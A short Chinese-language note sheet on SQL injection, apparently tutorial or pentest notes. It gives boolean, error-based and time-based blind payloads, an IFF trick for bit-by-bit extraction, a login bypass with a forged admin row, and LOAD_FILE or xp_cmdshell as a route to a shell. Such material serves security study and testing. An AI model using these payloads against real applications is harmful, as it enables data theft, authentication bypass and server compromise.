高手重視「錯誤回饋」勝過「正常回饋」,因為差異才是突破口。
SQL 語法正確,但邏輯導致結果集不同。
1=1 vs 1=2:AND 1=2 → 空結果集 → 頁面無資料/跳轉;OR 1=1 → 全表結果 → 可能顯示第一筆非預期資料NULLSQL 剖析失敗,資料庫拋出例外。
'、''、' OR '1'='1UNION SELECT 'abc' FROM dual 對數值欄位BENCHMARK(1000000, MD5('x')) (MySQL) → 延遲側通道WAITFOR DELAY '0:0:5' (SQL Server) → 時間型盲注-- 假設支援 IFF(condition, true_val, false_val)
-- 正常:IFF(1=1, 1, 'no') → 回傳數值 1
-- 異常:IFF(1=2, 1, 'no') → 回傳字串 'no' → 型別衝突 → 語法/執行錯誤
-- 注入載荷
id=1 AND 1 = IFF(1=1, 1, 'no') -- 正常
id=1 AND 1 = IFF(1=2, 1, 'no') -- 錯誤(型別不匹配)
-- 觀察頁面差異 → 推斷條件真假 → 盲注逐位元提取
同理可用 CASE WHEN、DECODE、IF、IIF (SQL Server 2012+)。
' OR '1'='1 → 結果集非空 → 應用以為驗證通過' OR '1'='1 失效
UNION SELECT 'admin', 'hashed_pwd', 1 FROM dual WHERE '1'='1 → 構造想要的結果集LOAD_FILE (MySQL)、xp_cmdshell (SQL Server) → 取得 Shell